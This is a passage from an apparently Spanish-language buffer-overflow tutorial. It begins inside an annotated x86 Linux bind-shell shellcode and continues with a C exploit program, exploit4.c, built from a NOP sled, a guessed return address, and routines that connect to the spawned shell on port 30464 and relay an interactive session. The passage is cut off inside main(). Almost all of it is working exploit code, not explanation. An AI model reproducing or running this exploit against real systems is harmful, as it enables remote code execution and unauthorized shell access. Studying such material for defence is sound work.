%ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ ---------------------------------------------------------------------------- 6.4 Exploit del programa vulnerable4 Con este shellcode, puedes hacer el codigo de exploit facilmente. Y tienes que hacer el codigo que conecta al socket. exploit4.c ---------------------------------------------------------------------------- #include #include #include #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i